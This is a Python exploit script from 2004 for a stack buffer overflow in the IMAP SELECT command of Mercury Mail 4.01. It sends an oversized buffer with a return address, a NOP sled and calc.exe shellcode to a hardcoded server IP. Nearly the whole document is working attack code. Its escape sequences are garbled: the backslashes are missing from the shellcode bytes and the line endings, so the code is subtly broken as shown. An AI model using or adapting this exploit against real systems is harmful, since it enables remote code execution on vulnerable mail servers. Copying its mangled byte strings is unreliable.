#########################################################
#                                                       #
# Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow     	#
# Discovered by : Muts                                  #
# Coded by : Muts                                       #
# WWW.WHITEHAT.CO.IL                                    #
# Plain vanilla stack overflow in the SELECT command  	#
#                                                       #
#########################################################


import struct
import socket
from time import sleep

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Lame calc.exe shellcode - dont expect miracles!

sc2 = "xd9xeexd9x74x24xf4x5bx31xc9xb1x29x81x73x17xb1x74"
sc2 += "x3fx7cx83xebxfcxe2xf4x4dx9cx69x7cxb1x74x6cx29xe7"
sc2 += "x23xb4x10x95x6cxb4x39x8dxffx6bx79xc9x75xd5xf7xfb"
sc2 += "x6cxb4x26x91x75xd4x9fx83x3dxb4x48x3ax75xd1x4dx4e"
sc2 += "x88x0exbcx1dx4cxdfx08xb6xb5xf0x71xb0xb3xd4x8ex8a"
sc2 += "x08x1bx68xc4x95xb4x26x95x75xd4x1ax3ax78x74xf7xeb"
sc2 += "x68x3ex97x3ax70xb4x7dx59x9fx3dx4dx71x2bx61x21xea"
sc2 += "xb6x37x7cxefx1ex0fx25xd5xffx26xf7xeax78xb4x27xad"
sc2 += "xffx24xf7xeax7cx6cx14x3fx3ax31x90x4exa2xb6xbbx5a"
sc2 += "x6cx6cx14x29x8axb5x72x4exa2xc0xacxe2x1cxcfxf6xb5"
sc2 += "x2bxc0xaaxdbx74xc0xacx4exa4x55x7cx59x95xc0x83x4e"
sc2 += "x17x5ex10xd2x5ax5ax04xd4x74x3fx7c"

#Change RET Address as needed
buffer = 'x41'*260 +  struct.pack('<L', 0x782f28f7)+ 'x90'*32+sc2

print "nSending evil buffer..."
s.connect(('192.168.1.167',143))
s.send('a001 LOGIN ftp ftp' + 'rn')
data = s.recv(1024)
sleep(3)
s.send('A001 SELECT ' + buffer+'rn')
data = s.recv(1024)
s.close()
print "nDone! "

# www.Syue.com [2004-11-29]